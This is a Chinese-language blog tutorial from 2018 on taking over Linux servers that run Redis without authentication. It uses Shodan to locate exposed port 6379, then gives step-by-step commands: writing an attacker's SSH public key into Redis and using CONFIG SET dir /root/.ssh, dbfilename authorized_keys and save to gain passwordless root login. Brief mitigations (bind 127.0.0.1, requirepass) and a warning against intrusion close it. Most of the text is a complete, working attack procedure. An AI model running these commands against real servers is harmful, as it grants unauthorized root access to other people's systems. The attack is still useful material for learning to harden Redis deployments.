教你干坏事——如何利用Redis黑进目标系统

在互联网科技如此发达的今天，安全问题，越来越引起人们的重视，各种新闻也是层出不穷。但是有很多漏洞公布已久，而今天，未修补的漏洞，更是数之不尽；其实准确来说不能说是漏洞，更是一种DBA运维人员的失职，安全意识差或是认为没有必要。比如最近很火的“MongoDB黑客赎金事件”就是开了默认监听所有IP端口以及没有加认证以及使用root用户启动造成的。

今天要说的关于Redis的问题，其实早在两年前就已经公布，跟MongoDB一样也是默认监听了公网IP端口以及没加认证以及使用root用户启动造成的。

那么在尝试黑进系统之前，我们先来看一下，通过https://www.shodan.io/search?query=6379的搜索引擎，查看全球内暴露在公网中的6379（Redis默认端口）或27017（MongoDB默认端口）端口号：

截止目前，全球仍有有接近2.5万台主机的Redis服务器暴露在公网之外（MongoDB也有1.5K台），而我只需要连接Redis服务器，就可以非常轻松的获取系统的超级管理员权限，那么这台服务器就是我的了。

下面我就准备两台服务器进行测试：

192.168.10.91（攻击源）

192.168.10.94（攻击目标）

被攻击主机就是正常启动，默认使用了root用户（也可以是其他用户），端口是默认端口。

被攻击机器：

#ps -ef | grep redis

root 1358522 1 0 10:47 ? 00:00:00 /app/redis/bin/redis-server 0.0.0.0:6379

攻击机器：

Redis连接

#./redis-cli -h 192.168.10.94 -p 6379

192.168.10.94:6379> keys *

(empty list or set)

能够看到攻击源连接攻击目标成功，并且能够使用命令进行正常操作；其实只要能到这一步，基本就已经成功入侵Redis了。

接下来攻击服务器操作系统，我们生成自己的公私钥，输入ssh-keygen命令。

修改id_rsa.pub文件，在文件开头和结尾多添加回次车（最好两次不要多也不要少），必须要加，不然这个公钥过去之后无法使用。

#ssh-keygen

Generating public/private rsa key pair.

Enter file in which to save the key (/root/.ssh/id_rsa):

Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in /root/.ssh/id_rsa.

Your public key has been saved in /root/.ssh/id_rsa.pub.

The key fingerprint is:

cc:c3:76:e3:a4:4e:52:0e:31:72:5f:c3:a0:72:72:86 root@c0a80a5b.nykjsrv.cn

The key's randomart image is:

+--[ RSA 2048]----+

| . |

| . . o |

| E O + |

| O B . . |

| . S + |

| = * . |

| . + . |

| + |

| . |

+-----------------+

然后将公钥文件内容，写入目标主机的redis。

#cat /root/.ssh/id_rsa.pub | /app/redis/bin/redis-cli -h 192.168.10.94 -p 6379 -x set ssh-key

写公钥进redis

此时，我们再次连接目标主机的redis查看内容：

公钥已经写入了目标主机，接下来，我们用config命令，分别设置redis写入日志的文件名和目录：

192.168.10.94:6379> CONFIG SET dir /root/.ssh

192.168.10.94:6379> CONFIG SET dbfilename "authorized_keys"

192.168.10.94:6379> save

然后退出redis，再次使用ssh登录目标主机，此时，已经成功获取Linux系统的root账户权限，进入目标主机。

原理其实非常简单，就是利用了redis可以记录日志的能力，将日志写入root用户的.ssh中，从而实现root账户针对攻击者免密登录的权限；

那么有攻击就要有防守，我们应该如何防范这种攻击呢？

通过上面的例子，大家也能看出，本质问题就是，Redis服务器的链接是对外开放的；而我们只需要相应的做出限制就可以了；方案有两种：

方案1：配置文件中设置允许登录的客户端IP地址:

如： bind 127.0.0.1;

方案2：客户端有密链接服务器：

如：config set requirepass “password”

当然两种方案可以同时使用；

但是，请各位一定记住，别人家开着门，并不是你能随便乱进的理由！！！

最后编辑于：2018.01.10 11:21:32